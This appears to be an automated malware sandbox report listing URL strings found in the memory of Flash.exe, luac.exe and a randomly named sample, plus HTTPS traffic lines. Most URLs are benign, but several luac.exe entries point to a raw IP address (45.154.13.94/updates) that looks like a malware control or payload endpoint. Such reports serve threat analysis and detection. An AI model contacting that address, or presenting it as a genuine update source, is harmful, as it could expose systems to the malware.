Source: Flash.exe, 00000004.00000002.483340061.0000000009166000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com
Source: Flash.exe, 00000004.00000002.483340061.0000000009166000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers
Source: Flash.exe, 00000004.00000002.483340061.0000000009166000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/?
Source: Flash.exe, 00000004.00000002.483340061.0000000009166000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/cabarga.htmlN
Source: Flash.exe, 00000004.00000002.483340061.0000000009166000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/frere-jones.html
Source: Flash.exe, 00000004.00000002.483340061.0000000009166000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers8
Source: Flash.exe, 00000004.00000002.483340061.0000000009166000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers?
Source: Flash.exe, 00000004.00000002.483340061.0000000009166000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designersG
Source: Flash.exe, 00000004.00000002.483340061.0000000009166000.00000002.00000001.sdmp	String found in binary or memory: http://www.fonts.com
Source: Flash.exe, 00000004.00000002.483340061.0000000009166000.00000002.00000001.sdmp	String found in binary or memory: http://www.founder.com.cn/cn
Source: Flash.exe, 00000004.00000002.483340061.0000000009166000.00000002.00000001.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/bThe
Source: Flash.exe, 00000004.00000002.483340061.0000000009166000.00000002.00000001.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/cThe
Source: Flash.exe, 00000004.00000002.483340061.0000000009166000.00000002.00000001.sdmp	String found in binary or memory: http://www.galapagosdesign.com/DPlease
Source: Flash.exe, 00000004.00000002.483340061.0000000009166000.00000002.00000001.sdmp	String found in binary or memory: http://www.galapagosdesign.com/staff/dennis.htm
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://www.gismeteo.ru/favicon.ico
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://www.gmarket.co.kr/
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://www.gmarket.co.kr/favicon.ico
Source: Flash.exe, 00000004.00000002.483340061.0000000009166000.00000002.00000001.sdmp	String found in binary or memory: http://www.goodfont.co.kr
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://www.google.co.in/
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://www.google.co.jp/
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://www.google.co.uk/
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://www.google.com.br/
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://www.google.com.sa/
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://www.google.com.tw/
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://www.google.com/
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://www.google.com/favicon.ico
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://www.google.cz/
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://www.google.de/
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://www.google.es/
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://www.google.fr/
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://www.google.it/
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://www.google.pl/
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://www.google.ru/
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://www.google.si/
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://www.iask.com/
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://www.iask.com/favicon.ico
Source: Flash.exe, 00000004.00000002.483340061.0000000009166000.00000002.00000001.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://www.kkbox.com.tw/
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://www.kkbox.com.tw/favicon.ico
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://www.linternaute.com/favicon.ico
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://www.maktoob.com/favicon.ico
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://www.mercadolibre.com.mx/
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://www.mercadolibre.com.mx/favicon.ico
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://www.mercadolivre.com.br/
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://www.mercadolivre.com.br/favicon.ico
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://www.merlin.com.pl/
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://www.merlin.com.pl/favicon.ico
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://www.microsofttranslator.com/?ref=IE8Activity
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://www.microsofttranslator.com/BV.aspx?ref=IE8Activity&a=
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://www.microsofttranslator.com/BVPrev.aspx?ref=IE8Activity
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://www.microsofttranslator.com/Default.aspx?ref=IE8Activity
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://www.microsofttranslator.com/DefaultPrev.aspx?ref=IE8Activity
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://www.mtv.com/
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://www.mtv.com/favicon.ico
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://www.myspace.com/favicon.ico
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://www.najdi.si/
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://www.najdi.si/favicon.ico
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://www.nate.com/favicon.ico
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://www.neckermann.de/
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://www.neckermann.de/favicon.ico
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://www.news.com.au/favicon.ico
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://www.nifty.com/favicon.ico
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://www.ocn.ne.jp/favicon.ico
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://www.orange.fr/
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://www.otto.de/favicon.ico
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://www.ozon.ru/
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://www.ozon.ru/favicon.ico
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://www.ozu.es/favicon.ico
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://www.paginasamarillas.es/
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://www.paginasamarillas.es/favicon.ico
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://www.pchome.com.tw/favicon.ico
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://www.priceminister.com/
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://www.priceminister.com/favicon.ico
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://www.rakuten.co.jp/favicon.ico
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://www.rambler.ru/
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://www.rambler.ru/favicon.ico
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://www.recherche.aol.fr/
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://www.rtl.de/
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://www.rtl.de/favicon.ico
Source: Flash.exe, 00000004.00000002.483340061.0000000009166000.00000002.00000001.sdmp	String found in binary or memory: http://www.sajatypeworks.com
Source: Flash.exe, 00000004.00000002.483340061.0000000009166000.00000002.00000001.sdmp	String found in binary or memory: http://www.sakkal.com
Source: Flash.exe, 00000004.00000002.483340061.0000000009166000.00000002.00000001.sdmp	String found in binary or memory: http://www.sandoll.co.kr
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://www.servicios.clarin.com/
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://www.shopzilla.com/
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://www.sify.com/favicon.ico
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://www.so-net.ne.jp/share/favicon.ico
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://www.sogou.com/
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://www.sogou.com/favicon.ico
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://www.soso.com/
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://www.soso.com/favicon.ico
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://www.t-online.de/favicon.ico
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://www.taobao.com/
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://www.taobao.com/favicon.ico
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://www.target.com/
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://www.target.com/favicon.ico
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://www.tchibo.de/
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://www.tchibo.de/favicon.ico
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://www.tesco.com/
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://www.tesco.com/favicon.ico
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://www.timesonline.co.uk/img/favicon.ico
Source: Flash.exe, 00000004.00000002.483340061.0000000009166000.00000002.00000001.sdmp	String found in binary or memory: http://www.tiro.com
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://www.tiscali.it/favicon.ico
Source: Flash.exe, 00000004.00000002.483340061.0000000009166000.00000002.00000001.sdmp	String found in binary or memory: http://www.typography.netD
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://www.univision.com/
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://www.univision.com/favicon.ico
Source: Flash.exe, 00000004.00000002.483340061.0000000009166000.00000002.00000001.sdmp	String found in binary or memory: http://www.urwpp.deDPlease
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://www.walmart.com/
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://www.walmart.com/favicon.ico
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://www.ya.com/favicon.ico
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://www.yam.com/favicon.ico
Source: Flash.exe, 00000004.00000002.483340061.0000000009166000.00000002.00000001.sdmp	String found in binary or memory: http://www.zhongyicts.com.cn
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://www3.fnac.com/
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://www3.fnac.com/favicon.ico
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://xml-us.amznxslt.com/onca/xml?Service=AWSECommerceService&Version=2008-06-26&Operation
Source: Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	String found in binary or memory: http://z.about.com/m/a08.ico
Source: luac.exe, 00000002.00000002.471563330.000000000070A000.00000004.00000001.sdmp	String found in binary or memory: https://45.154.13.94/nd-point:
Source: luac.exe, 00000002.00000002.471563330.000000000070A000.00000004.00000001.sdmp, luac.exe, 00000002.00000002.471450397.00000000006FA000.00000004.00000001.sdmp	String found in binary or memory: https://45.154.13.94/updates
Source: luac.exe, 00000002.00000002.471450397.00000000006FA000.00000004.00000001.sdmp	String found in binary or memory: https://45.154.13.94/updatesK
Source: luac.exe, 00000002.00000002.471359917.00000000006EC000.00000004.00000001.sdmp	String found in binary or memory: https://45.154.13.94/updatesMy
Source: luac.exe, 00000002.00000002.471359917.00000000006EC000.00000004.00000001.sdmp	String found in binary or memory: https://45.154.13.94/updatesem32
Source: luac.exe, 00000002.00000002.471359917.00000000006EC000.00000004.00000001.sdmp	String found in binary or memory: https://45.154.13.94/updateshy
Source: luac.exe, 00000002.00000002.471359917.00000000006EC000.00000004.00000001.sdmp	String found in binary or memory: https://45.154.13.94/updatesl
Source: luac.exe, 00000002.00000002.471450397.00000000006FA000.00000004.00000001.sdmp	String found in binary or memory: https://45.154.13.94/updatesl(
Source: luac.exe, 00000002.00000002.471359917.00000000006EC000.00000004.00000001.sdmp	String found in binary or memory: https://45.154.13.94/updatesla
Source: luac.exe, 00000002.00000002.471359917.00000000006EC000.00000004.00000001.sdmp	String found in binary or memory: https://45.154.13.94/updateslh
Source: Flash.exe, 00000004.00000003.207618804.0000000002EF0000.00000004.00000001.sdmp	String found in binary or memory: https://api.flash.cn/config/getCdnValue?key=zero_dayzero_dayS-%d-%disGroupAdmin
Source: Flash.exe, 00000004.00000002.473565866.0000000001446000.00000040.00020000.sdmp	String found in binary or memory: https://flash.2144.com/cdm/icons/chn100.png
Source: Flash.exe, 00000004.00000002.473565866.0000000001446000.00000040.00020000.sdmp	String found in binary or memory: https://flash.2144.com/cdm/icons/ten100.png
Source: Flash.exe, 00000004.00000002.493207907.000000000D330000.00000004.00000001.sdmp, Flash.exe, 00000004.00000002.492064705.000000000CD29000.00000004.00000001.sdmp, Flash.exe, 00000004.00000002.492105036.000000000CD39000.00000004.00000001.sdmp, Flash.exe, 00000004.00000002.481527809.00000000068D5000.00000004.00000001.sdmp	String found in binary or memory: https://game.flash.cn/flashcenter/protocol/Privacy.html
Source: Flash.exe, 00000004.00000003.207618804.0000000002EF0000.00000004.00000001.sdmp, Flash.exe, 00000004.00000003.213734014.00000000068AB000.00000004.00000001.sdmp	String found in binary or memory: https://help.2144.cn/about/duty.htm
Source: Flash.exe, 00000004.00000003.224902843.000000000A233000.00000004.00000001.sdmp	String found in binary or memory: https://help.2144.cn/about/duty.htmInstalled/Updated
Source: Flash.exe, 00000004.00000002.492064705.000000000CD29000.00000004.00000001.sdmp	String found in binary or memory: https://helpx.adob
Source: Flash.exe, 00000004.00000002.493207907.000000000D330000.00000004.00000001.sdmp, Flash.exe, 00000004.00000002.492105036.000000000CD39000.00000004.00000001.sdmp, Flash.exe, 00000004.00000002.481527809.00000000068D5000.00000004.00000001.sdmp, Flash.exe, 00000004.00000002.485608077.000000000B070000.00000004.00000001.sdmp	String found in binary or memory: https://static.flash.cn/frontend/official/adobe_flash_helper_agreement.pdf
Source: Flash.exe, 00000004.00000002.481792809.0000000006AC1000.00000004.00000001.sdmp	String found in binary or memory: https://static.flash.cn/frontend/official/adobe_flash_helper_agreement.pdf)Xs_sess=%20s_sq%3D%3B;
Source: 8v4iWYLvKJ.exe, 00000001.00000003.204455415.0000020BF6F61000.00000004.00000001.sdmp, Flash.exe, 00000004.00000002.482580825.0000000008E74000.00000004.00000001.sdmp	String found in binary or memory: https://www.digicert.com/CPS0
Source: Flash.exe, 00000004.00000002.482580825.0000000008E74000.00000004.00000001.sdmp	String found in binary or memory: https://www.digicert.com/rpa-ua0
Source: Flash.exe, 00000004.00000002.482622347.0000000008EA8000.00000004.00000001.sdmp	String found in binary or memory: https://www.flash.cn/category/flashcenter/privacy
Source: Flash.exe, 00000004.00000002.493207907.000000000D330000.00000004.00000001.sdmp, Flash.exe, 00000004.00000002.492064705.000000000CD29000.00000004.00000001.sdmp, Flash.exe, 00000004.00000002.492105036.000000000CD39000.00000004.00000001.sdmp, Flash.exe, 00000004.00000002.481527809.00000000068D5000.00000004.00000001.sdmp	String found in binary or memory: https://www.flash.cn/category/user/agreement
Source: Flash.exe, 00000004.00000002.493207907.000000000D330000.00000004.00000001.sdmp, Flash.exe, 00000004.00000002.492064705.000000000CD29000.00000004.00000001.sdmp, Flash.exe, 00000004.00000002.492105036.000000000CD39000.00000004.00000001.sdmp, Flash.exe, 00000004.00000003.235611029.00000000052F5000.00000004.00000001.sdmp, Flash.exe, 00000004.00000002.481527809.00000000068D5000.00000004.00000001.sdmp	String found in binary or memory: https://www.flash.cn/category/user/enagreement
Source: Flash.exe, 00000004.00000002.482580825.0000000008E74000.00000004.00000001.sdmp	String found in binary or memory: https://www.flash.cn/cdm
Source: Flash.exe, 00000004.00000002.477064429.0000000003236000.00000004.00000001.sdmp	String found in binary or memory: https://www.flash.cn/cdm/en/application.xml
Source: Flash.exe, 00000004.00000002.482514022.0000000008E39000.00000004.00000001.sdmp	String found in binary or memory: https://www.flash.cn/cdm/en/helperservice_rc.xml
Source: Flash.exe, 00000004.00000002.482580825.0000000008E74000.00000004.00000001.sdmp	String found in binary or memory: https://www.flash.cn/cdm/icons/flash100.png
Source: Flash.exe, 00000004.00000002.482580825.0000000008E74000.00000004.00000001.sdmp	String found in binary or memory: https://www.flash.cn/cdm/icons/flash125.png
Source: Flash.exe, 00000004.00000002.482580825.0000000008E74000.00000004.00000001.sdmp	String found in binary or memory: https://www.flash.cn/cdm/icons/flash150.png
Source: Flash.exe, 00000004.00000002.482580825.0000000008E74000.00000004.00000001.sdmp	String found in binary or memory: https://www.flash.cn/cdm/icons/flash200.png
Source: Flash.exe, 00000004.00000002.482606794.0000000008EA0000.00000004.00000001.sdmp	String found in binary or memory: https://www.flash.cn/cdm/ic~
Source: Flash.exe, 00000004.00000002.482580825.0000000008E74000.00000004.00000001.sdmp	String found in binary or memory: https://www.flash.cn/flashhelper/rc_2.3.0.20/flashhelper_rc_23020.xml
Source: Flash.exe, 00000004.00000002.482580825.0000000008E74000.00000004.00000001.sdmp, Flash.exe, 00000004.00000002.479170637.0000000005100000.00000004.00000040.sdmp	String found in binary or memory: https://www.flash.cn/flashplayer/3400175/flashplayerax_3400175.xml
Source: Flash.exe, 00000004.00000003.235605352.00000000052F6000.00000004.00000001.sdmp	String found in binary or memory: https://www.flash.cn/flashplayer/3400175/flashplayerax_3400175.xmlor
Source: Flash.exe, 00000004.00000002.482580825.0000000008E74000.00000004.00000001.sdmp, Flash.exe, 00000004.00000002.479170637.0000000005100000.00000004.00000040.sdmp	String found in binary or memory: https://www.flash.cn/flashplayer/3400175/flashplayerpp_3400175.xml
Source: Flash.exe, 00000004.00000002.479170637.0000000005100000.00000004.00000040.sdmp, Flash.exe, 00000004.00000002.482330930.0000000008DD2000.00000004.00000001.sdmp	String found in binary or memory: https://www.flash.cn/help/article/article.php?id=135
Source: Flash.exe, 00000004.00000002.479170637.0000000005100000.00000004.00000040.sdmp	String found in binary or memory: https://www.flash.cn/help/article/article.php?id=13pf
Source: Flash.exe, 00000004.00000002.493207907.000000000D330000.00000004.00000001.sdmp, Flash.exe, 00000004.00000002.492064705.000000000CD29000.00000004.00000001.sdmp, Flash.exe, 00000004.00000002.492105036.000000000CD39000.00000004.00000001.sdmp, Flash.exe, 00000004.00000002.481527809.00000000068D5000.00000004.00000001.sdmp	String found in binary or memory: https://www.flash.cn/learn_more
Source: Flash.exe, 00000004.00000002.482580825.0000000008E74000.00000004.00000001.sdmp	String found in binary or memory: https://www.flash.cn/software/lib-update
Source: Flash.exe, 00000004.00000002.477064429.0000000003236000.00000004.00000001.sdmp	String found in binary or memory: https://www.flash.cn/software/lib-update=0
Source: Flash.exe, 00000004.00000002.479170637.0000000005100000.00000004.00000040.sdmp, Flash.exe, 00000004.00000003.235611029.00000000052F5000.00000004.00000001.sdmp	String found in binary or memory: https://www.flash.cn/ueipenglish/index.html

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49793 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49806
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49805
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49804
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49803
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49802
